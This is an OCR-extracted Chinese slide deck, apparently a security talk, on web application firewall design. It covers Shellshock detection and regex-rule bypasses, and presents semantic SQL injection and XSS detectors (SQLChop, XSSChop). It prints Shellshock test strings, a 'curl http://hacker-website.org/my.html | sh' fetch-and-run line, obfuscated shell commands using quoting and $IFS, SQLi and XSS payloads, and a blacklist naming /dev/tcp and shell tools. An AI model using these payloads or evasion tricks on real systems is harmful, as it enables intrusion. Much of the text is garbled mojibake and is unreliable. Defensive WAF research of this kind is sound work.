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® WebFERAXERIEFR ( Web Application Firewall )
® LSEHE | BMFWAF, mWAF, EHR2D1TH
o BRE !
o [ME, BE. EHl. 3608E=WAFGE
o LfE. KEMS. BHER. &4, LGMEL. WebRAY, REXE & OIEEHEWAFESHE

® Gartner [R : Imperva 521
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COMPLETENESS OF VISION As of July 2015

Source: Gartner (July 2015)
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JLVFRrE R ERHEIEWeb i BRI ERYEL A

WebNRES RARATIRES , FAESAREIGFEKEEL  EEERAS A
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SBRERNBXZSERRERET Web NRERKRE

® WebMFHREERAZLIR

|RREL TR PATEA IR TR - SQLIEN. XSSEWMMAZESAIFEEN
FELRIABELASS « Struts2fUEBENRIR. ImageMagickapLiENRRZ | R

XERE]
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® ELEWAFFGIEKEAIN ( EENIZRIAZUILED ) SRiAFTWebILdRh1E
o MNLEHPRIT , BABHE | MUMSEE IS (FRITHATBER )
o RIREAIRIRTERS
o HELURERAIR
® (LRI WAFREELRSIRENEE
o HLSMEAKIRAE
o ESHIFENG (BEEHRIRI)
o BECURLIFH AR TEE
® BAFRWAF=mTT/ AR ik SHILER{ERA
o SERERA. WENSHREMME  NFEE TR ERE
o EMHNTRRIIAR  EERES ERZLMRE
o ATANRETEEHREEIIABL , BRHIER SR T BEsRRE I
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® ZWAFEDFER T LT MERIERA
o WMEXRE. X&UE , RIFAVKET &t
o ERPTLEBITHIFAN , MOEFNZEEHEES , FEHEXKR

o (ER(IABLUTES AREFTEEFHIRRITE
o ETMNAI=#RERBNAZNRIRIR + (KR
o ETMNKizABEIRERRRN SR , FEERNXIARANER
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25| - 2014 FENSEETRT BY shellshock iFildE

env () { :;}; echo vulnerable" -c 'echo hello'




Z=prallatilic= il =
EMELZE KX B
Ik, FEER
BT | BT
BESRIR

BiIRABEREERAE
env x='() { :; ;;echo vul' bash -¢ ":"

MREREAEERvul

=4V
vim bash_ld_preload.c3X#

#include <sys/types.h>

#include <stdlib.h>

#include <string.h>

static void __ attribute__ ((constructor)) strip_env(void);
extern char **environ;

static void strip_env()

{

char *p,*c;

int i = @;

for (p = environ[i]; p!=NULL;i++ ) {

c = strstr(p,"=() {");
if (c 1= NULL) { \

*(c+2) = "\0';

}
p = environ[i];
}
}
ImiERso

gcc bash_ld_preload.c -fPIC -shared -WI|,-soname,bash_Id_preload.so.1 -0 bash_|ld_preload.so
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WE—251 : shellshock > KEME

SR , Bash BiXHFAUFIE -

:) [root@zinga / ] # L' 's
bin boot dev etc home initrd.img initrd.img.old 1lib 1ib64 1lost
:) [root@zinga / ] # py''th''on

Python £.7.6 (default, Jun £Z2 2@15, 17:58:13)

|GCC 4.8.2] on linuxZ
Type "help"”, "copyright”, "credits” or "license"” for more information.




PN

.?H%

— 2545 - shellshock > KERE

REFEEZINHE | SRIAERGRT

(') { :;}; echo vulnerable' -c 'echo hello'

EATERUT

S env x=" () { :: Y:echo vulnerahle’ hash -c 'echo test shellshock’
ulnerahle
est shellshock

S5 env x="("')Y { :; Y:echo vulnerable' bash -c 'echo test shellshock’
ulnerahle
ezt shellshock
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A, BN, (ERENRANERELSIS ?

RegExp: /=\([""1*\) {/
E—

One of:

O—\=(—1 ""5—){0O

Q
0 or more times
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— /A - shellshock = k=R

875, 5ISEDES|S. W55, k3I5

HX |, 5|SARIREERTRE | 5ISALAEIEESMNE
AN, EATLABR ${XX} iIXEERYES 3 ERK A AT

IIE | ERES HREER LRSS ARG 2

: Y:echo valnerable’ baszh -c "echo test shellzshock’

test =hellshock
S enu x=""'rrr :; Y:echo vulnerable’ bash -c "echo test zhellzhock’

: Y:echo vulnerable’ bash -c "echo test shellszhock’

test shellshock
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LITRKXBERNFIRENE R LERS |, ARNER— R8N — T EHRERRH e SHIT
JRESENRELLEFIRE shell

$rule_white='/(?:1slcatlwgetlcurl)/i';

$rule_black='/(?:bash|\/dev\/tcp|\/bin\/sh|python|backpipeltelnet|\/bin\/bashl|perl|rubyllualfsockopenl|dash
| rbash|\/dev\/udp|yumImakelinstall)/i';

//FEBRENGLTERTT

if(preg_match($rule_white, $contents))
1

/BFABHEFARHERBESGS. HLELABREGSHERBREGIGET
if(!preg_match($rule_black, $contents))
{




/1

E—H a4 = KEHE

PN

[FHFRY | BREIATENR , SMAENA LIS

FE—: $ curl http://hacker-website.org/my.html | sh
Z"  heerdslS

HE=

$rule_white='/(?:1slcatlwgetlcurl)/i';

$rule_black='/(?:bash|\/dev\/tcp|\/bin\/shl|python|backpipeltelnet|\/bin\/bashl|perl|rubyl|lualfsockopenl|dash
|rbash|\/dev\/udp|yumImake|linstall)/i';

//FEBRENGB LA ERT

if(preg_match($rule_white, $contents))

{
/BRFABHETRHERBESR. HLELABREGSHERBREGSED
if(!preg_match($rule_black, $contents))
{
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2N bash apPHEFILEL T SMATRNFFT ( BIESISHIRT ) | BEFEE
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1) [root@zinga / ] # cat <(1s$IFS/)
bin

boot

initrd.img
initrd.img.old
L1b

11b64
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sl CHAITIN.CN

o IFNFAINAIATR : BIRIRESEE https://en.wikipedia.org/wiki/Finite-state_machine

® /£ Chomsky Hierarchy & , BIRIAEBEE ( IENIES ) XIMAYZE Type-3

Grammar , @FRIAENHIEAN—R ( EIRIXTNAYZE Type-0 Grammer , 2
Ex5EAY )

o YISLHAR A | XTRmEREERRREFIVREE A AT |, AATIIENZRAINADE
RS X ARRIEREEA T (EShiE>EE B EEE )

® EZ7F BlackHat 2005, Hansan #[] Patterson MIEi¢_EIFRR T EF1ENIRIHT
NRF—ESFERREE Rk Gz

http://www.blackhat.com/presentations/bh-usa-05/BH US 05-Hansen-
Patterson/HP2005.pdf)



http://www.blackhat.com/presentations/bh-usa-05/BH_US_05-Hansen-Patterson/HP2005.pdf

QAT AS BRI A T e 2 = k=R

20158 39 , KE5EL SQLChop , MEBB TR SQL iEANANE N SHrEn TR
( fIEZ2lE%. BlackHat Arsenal&il 7 &~ )

20158 =4 , XSSChop tBJFI5ERk , SEEL T XSS BUBHMIEN DT

H—LSLEUERR , PHPACRGEAN. PHPRFFIML. JavaR FHICEFERRTLURITIENX
A, IKIGEFRIRNIEER

FRIEEZSN | S5 RBEMEIE N DRI A BRI



[ www.hillstonenet.com.cn/down/pdi/ips-whitepaper.pdf

IRFRARDRT-0128

1858 FIWebBA 1R Ih &k

fEEWebW HVFE, $AWebMBE#RKik%, LAMEMBENHEREILRET F = Web
W BrirsE . BR 74000+ IEHEZ AP 25, WAMBREREER T "B THEHRENEN"BEE,

I —

FEIFT UTHENFLIFTIRE:

e SQLiEAEATR

WARMBIAA, SQUEABETHROHLIE REERINEEPEESQLEL". BT HETSQUEA
e, LWEMBRELTFBEMM+HEMRAT AR PHEAXRENEZNSHUEFAEFESQLUES
AN, ERRTURBERETENCERERAA, B/ mMec/ZEdEETR.

* XSSIENBATP

5SQUFARFEM, WARERMBEIAN, XSSEABGHZ IR HNHERZVEUET 22N KEaE
i AT ES, BIANHTML/CSS/ISE . A TH#HXSSIENGH, (WAMBHRY T BER A Rl
HAZE: HHEREENELHNSHEFEFSHTMUCSSASESMN, EHMTUHERHFENLE
B2 4A, HlinEsBRIIEPHRIN—NAT] I iframetrsEs.
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AbDsorping Star

select 1 from users where 1=1

Check Result: Blocked

Attack Type: sqli

Time Elapsed: 0.0103170871735
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ADSorping Star

select the best students from this class as the student union representative

Check Result: Passed

Attack Type: normal

Time Elapsed: 0.0150060653687
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RRRRRRIEENENX CHIFIE#SR payload EEEWE
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X BIRFRFERRORIET [ =TEDH -> 1BED -> EXOH/EIUNT , NmiEER
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AT BRI ( XInContext Free Grammar ) AEANEZR |, BIIFERERET |
IRBTERIFEMEEERE O(n) FNEM X BIMESHIRAIELL.

BiRMES ARBENIARAIEATEREMANFTRES (RIRATREN ) 1

LB xxxx' or '1'='1

<img src=1 href=1

onerror=" "></img>

o "() { :;}; echo vulnerable’ -c 'echo hello'

[XF

BER . XN BENESESRAMIISRRIESS ? WREE AR ?
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251 : Javascript BEES T EER , WFRSHENRAXFTLESIE XA,
(OF X NMORREFEB R EN R FRECIER )
RREE BT E T ERAR ((FERBEEHAY Semantic Conditions )
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{EFtAEE XSEI BNF , NTAZIRIRERRFITIL (15X IR )

# 12.2.4 Literals

Literal =
NullLiteral
BooleanLiteral
NumericLiteral
5tringlLiteral

## 12.2.5 Array Initializer

ArraylLiteral = '[' 1 ElementList? 1 ','7 1 Elision? 1 ']

Elementlist = (!ElementList ', )7 Elision? 1 (!AssignmentExpression SpreadElement)
Elision = '," (1 ', ")*

SpreadElement = DotDotDot 1 !'AssignmentExpression

#H 12.2.6 Object Initializer

ObjectLiteral = '{' 1 (PropertyDefinitionList L C",' L)7)7 '}’

PropertyDefinitionList = PropertyDefinition (1 '," 1 PropertyDefinition)*

PropertyDefinition = IdentifierReference | CoverInitializedWName | PropertyName 1 ':" 1 lAssignm
PropertyNome = LiteralPropertyNome | ComputedPropertyName

LiteralPropertyName = IdentifierName | StringlLiteral | NumericLiteral

ComputedPropertyName = '[' 1 !AssignmentExpression 1 ']

CoverInitializedNome = IdentifierReference 1 Initializer

Initializer = '=" 1 !'AssignmentExpression
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o RAIHIISASIEE | 1l ERE

o HE—ERIRAEMAVENEES

o S APRERDMNIGER , FEHEXE

® IR , ERMNISINHZSIRE ISR
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® EEPNE N DITHINET IR | BRARNRABEIRMARRIIGE ( PEANRSEM ) | B
PR AR BERG

® a0 : {Bi& SQL s=AFME 7 —#p findAndModify 1E8] ( MMongoDBf&H )
, TR TE RIS SURE | BBAETEN o iriIEfR TG AR iR xXfhsE
WANE L , BARABTEHIE

® FULPAFZENMNBITHCK , EFIENNARZHRTEEER , BETNR
N iz



E N SSLHl—SQLEN (SQLChop ) = sznz

users password = 'admin’

Student representative should be those best
students that you can this class

We should the best students this class
as the student representative




BN OHSLfAl——SQLEN (SQLChop ) == szns

SQLChop 1&iE&D 1T

<type bareword> <type string> <type number> <type string> <type number>

xxxx' or '1'="1

IE7fg

<type string> <keyword > <type string> <operator => <type string>
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BN OHSLfAl——SQLEN (SQLChop ) == szns

SQLChop IEEAT : ST
token FBIRER SQL IBAFHT.

{&#iER BNF 4RI B 5

& : SQL expr H’ggfmﬂg{j(lygig}ﬁ = I-*f! 8 = ,
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AR — WAF 2R EENIMTIENSH 2
IXERM—AMEERAIRINE | WF—RE , MR PSR RHIEASQLENT

=&, BABERBLIEN DT , REEMREIIHE—FE SQLIEAN | FRES
BIEK , BPARBARRE TIEXN D,

http://xxx.org/?qg= %20 %2017%20 %20users%20 %20

http://xxx.org/?q=Student%20 %20representative%20should’%20be’%20tho
se%20best%20students¥%20that’%20you%20can’%20 %20 %20this¥%20class
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http://sqglchop.chaitin.com/
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<img src=1 href=1 onerror=" "></img>

tag name = “img”
attr_name = “onerror”
attr_value =




15 X ot sCiil——XSSESiuh ( XSSChop ) = szks

o ?Hﬂfﬂtl:.‘ﬂiﬂzli)# Wiz fa  EERRTEE. BE BXOT , REEEFTo
PR

e Javascript BIFMEFISCIELIRGE— ( FEXITFSQLRIR ) , FEHERFIFR
St , BeTLA—FRISCIE] ECMAScript 2017 BhEES2dE
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http://xsschop.chaitin.com/
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EXMER  RRATUBEEIRSH TR | SBANTANERRERES DR ?
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WAFEITE LEWAFE

XTERAERNER]

® | /IP/session FENDHTERLL , MNESEIERIERINFI D ( BEE ) ILAXT1Z
IP/Session #H1TIE|ER , MMEEIETRNIZRAVRIHMET

® 25| : FIP/session—EE#HTT SQL IEFAWE=L , JLIBGASEES |, 3B
LARFHNERFRMEERER B AT (EREBERINAENY |, Bt
B AHRIRIR A BEHIRIRYIE & =R IRSS )
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® IP/Session NEHRINRBES RBMERIFITUREIRERL , MUUXEEH—TIEE
WAF 898870 , BT RESCRTERTRBNMBEIRE

® EYBMEHREEIRISSERT IP/Session EIRAYERT , BRIANEE RFNIBELE IP SRk
AJRESERE)  H—2EEIEINBHmERER , HITEAR
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® (HIREmIIBhIF L =& A LHIRIZ SRR
¢ HKIEEREINRIRE LK NIFEHE

® LIKIZERY URL LINRSEIXSR |, TERESHT IS BERE | 7S
ERIERANES

o SLATINIRAS , KIlEeRE , RIEHITIEE
® izl : RREEE
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® SEEEAL]
o BAREMHTRENE
* ZRERFEEEH—SNEEES
® SiimaRERz]
o WP EIEEINEE
e WAF {83y URL PHTRREXBERIBATINES | STHWENIH (RE HEATN)
® N HrER]
® WAF {8395 SNMP BR5i#HTHh3E
o KERDMT ST
® SEHRUAN...

® 5.
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® FEUEN DT AKIERERME (KRR, (KHR )
o M\ FARSI=E 2 B, Wi, WM A9

® I=FIKITI=AMERY

® NFIKIEAAEERY
® ZIFSEREG |, FURALIRIERGIRER | FERKIEREIA

0 LTERBIRME , BfRERER—LEm

® ML e m+RETHR + RIFAIRERIEN BRaIEC KA IE EEIA T
RERERAFE (L eREREBEMNLIBHEBERZEMREXRLTRE )

¢ FEMZEKTHMATFEE
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Thanks!



